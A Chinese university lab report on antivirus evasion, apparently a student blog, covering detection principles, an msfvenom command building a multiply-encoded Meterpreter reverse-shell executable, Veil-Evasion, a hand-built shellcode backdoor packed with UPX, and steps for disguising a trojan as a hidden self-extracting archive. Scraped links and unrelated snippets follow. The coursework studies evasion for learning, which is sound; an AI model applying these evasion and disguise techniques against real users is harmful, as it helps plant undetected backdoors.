2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

————————CONTENTS————————


1. 免杀原理与实践说明

一、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)

  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

二、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:

      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

返回目录


2. 使用msf编码器生成后门程序及检测

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,39款杀软中有20款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码:

再使用virscan.org进行扫描,结果如下所示:

仍然有19款杀软发现病毒。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。

返回目录


3. 使用veil-evasion生成后门程序及检测

安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了老师的虚拟机。

1、启动evail-evasion,设置好回连的IP地址和端口号后,生成后门文件:

2、放到virscan.org上扫描一下:

比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。

返回目录


4. 注入Shellcode并执行

《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。

1、生成的shellcode如下图所示:

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

可以看到,成功获取了windows权限。

3、不幸的是,还是被杀毒软件发现了:

4、扫描发现,仍有20%的杀软能够扫描出来:

5、再进行加壳尝试吧。使用UPX对生成的后门程序加壳:

6、杀软没有发现它,扫描结果也比较乐观:

7、测试仍然可用:

返回目录


5. 实验中遇到的问题及思考

一、尝试点其他有趣的?——自解压捆绑木马

随着人们对木马的了解和防范意识的增强,木马设计者们开发出了更多的功能来伪装木马,以达到降低用户警觉的目的。常用的伪装手段有:

  • 修改图标:将木马服务端程序的图标改成HTML、TXT、ZIP等文件格式的图标,使其具有迷惑性。
  • 文件捆绑:将木马捆绑到一个安装程序上,当安装程序运行时,木马便会在用户毫无察觉的情况下进入系统。被捆绑的文件一般是可执行文件(如EXE、COM等格式的文件),迷惑性很大。即使重装了系统,如果系统中还安装了那个程序,就很有可能再次中招。
  • 更改木马服务端程序的名称:大多数改为与系统文件类似的名字,比如windows.exe啦,或者把后缀改为d11以模仿dll文件之类的。
  • ......

在这里,我们来尝试制作自解压捆绑木马。

1、将要捆绑的文件们放在同一个文件夹下,右击选择“添加到压缩文件”

2、设置压缩参数。起一个有趣的名字,并勾选上“创建自解压格式压缩文件”复选框。

3、切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“全部隐藏”并确定。

4、再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个有趣的图标作为这个自解压文件的图标,比如下面这个比较符合“Linux软件教程”气质的图标:

点击确定按钮。

5、这样一来,我们就生成了一个看起来非常正经的自解压的压缩文件。

6、放到virscan.org试一下,虽说还是会被部分杀软发现,但概率降低了很多~

二、同样的病毒,不同的杀软杀出来不一样的结果?

virscan.org上面检测的过程中,发现虽然上传的是一个文件,但不同的杀毒软件,扫描结果不尽相同。这是为什么呢?扫描出来的结果都是些什么呢?

查阅资料了解到,这是因为不同的杀毒软件病毒库不完全相同,杀毒引擎不一样,另外,不同的软件功臣是对病毒、系统漏洞的理解也不尽相同。这就造成了杀软结果的千差万别。

返回目录


5. 实验总结及体会

  • 离实战还缺什么步骤?

    • 实验中的后门程序都是我们生硬地复制粘贴到靶机上的,但实际攻击的时候怎么可能乖乖让我们把一个赤裸裸的木马放过去?!所以这就用到了一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等,课下也进行了浅显的了解和练习,发现的确离实战还有很长一段路要走...
  • 这次实验还是一如既往的有趣,不管是平台生成还是手工打造,能生成一个不被杀软发现的后门程序还是有些难度的,需要在不断的摸索中一点一点尝试。虽然此次实验非常基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
  • 打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。

返回目录


附:参考资料

2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  2. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  10. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. android:Intent匹配action,category和data原则

    1.当你在androidmanifest里面定义了一个或多个action时 你使用隐式意图其他activity或者service时,规定你隐式里面的action必须匹配XML中定义的action,可以 ...

  2. 使用office添加文章目录

    当我们用word录入完文章,文章里有段落,段落里又有小标题,每一种标题的格式不尽相同,word为我们提供了相当丰富的标题格式,如:正文,无间隔,标题1,标题2,标题3,标题4,副标题,强调,要点... ...

  3. Ubuntu 开机进入命令行模式

    1.修改配置 sudo vim /etc/default/grub 把 GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" 改为 GRUB_CMDL ...

  4. webAppbuilder微件使用教程1 快速入门

    by 李远祥 webAppbuilder是arcgis portal 和arcgis.com 上用来配置应用程序的利器.合理利用webAppbuilder的微件功能,可以实现应用程序的零代码定制,并能 ...

  5. 重启osd服务失败:Start request repeated too quickly

    背景 OS:Ubuntu 16.04 修改了osd的一些配置,修改后,需要重启osd服务才能生效.第一次重启后,配置立刻生效.再改了一些配置,重启osd服务后,配置却不再生效了.ps命令查看进程,发现 ...

  6. vpn的实现原理

    由于公共IP的短缺,我们在组建局域网时,通常使用保留地址作为内部IP,(比如最常用的C类保留地址:192.168.0.0-192.168.255.255)这些地址是不会被互联网分配的,因此它们在互联网 ...

  7. 洛谷P5280 [ZJOI2019]线段树 [线段树,DP]

    传送门 无限Orz \(\color{black}S\color{red}{ooke}\)-- 思路 显然我们不能按照题意来每次复制一遍,而多半是在一棵线段树上瞎搞. 然后我们可以从\(modify\ ...

  8. 主线程——main线程

    定义一个普通的类: 引用这个类,执行main方法,main方法就是一个主线程: 线程:进程的执行单元,可以理解为栈内存中的所执行的方法(除了main方法之外都是线程中的run方法)地址开辟通往cpu的 ...

  9. phoenix技术(安装部署和基本使用)讲解

    1.phoenix简介 Apache Phoenix是构建在HBase之上的关系型数据库层,作为内嵌的客户端JDBC驱动用以对HBase中的数据进行低延迟访问.Apache Phoenix会将用户编写 ...

  10. 进入网站自动加自己为QQ好友代码

    <meta http-equiv="refresh" content="0; url=tencent://AddContact/?fromId=50&fro ...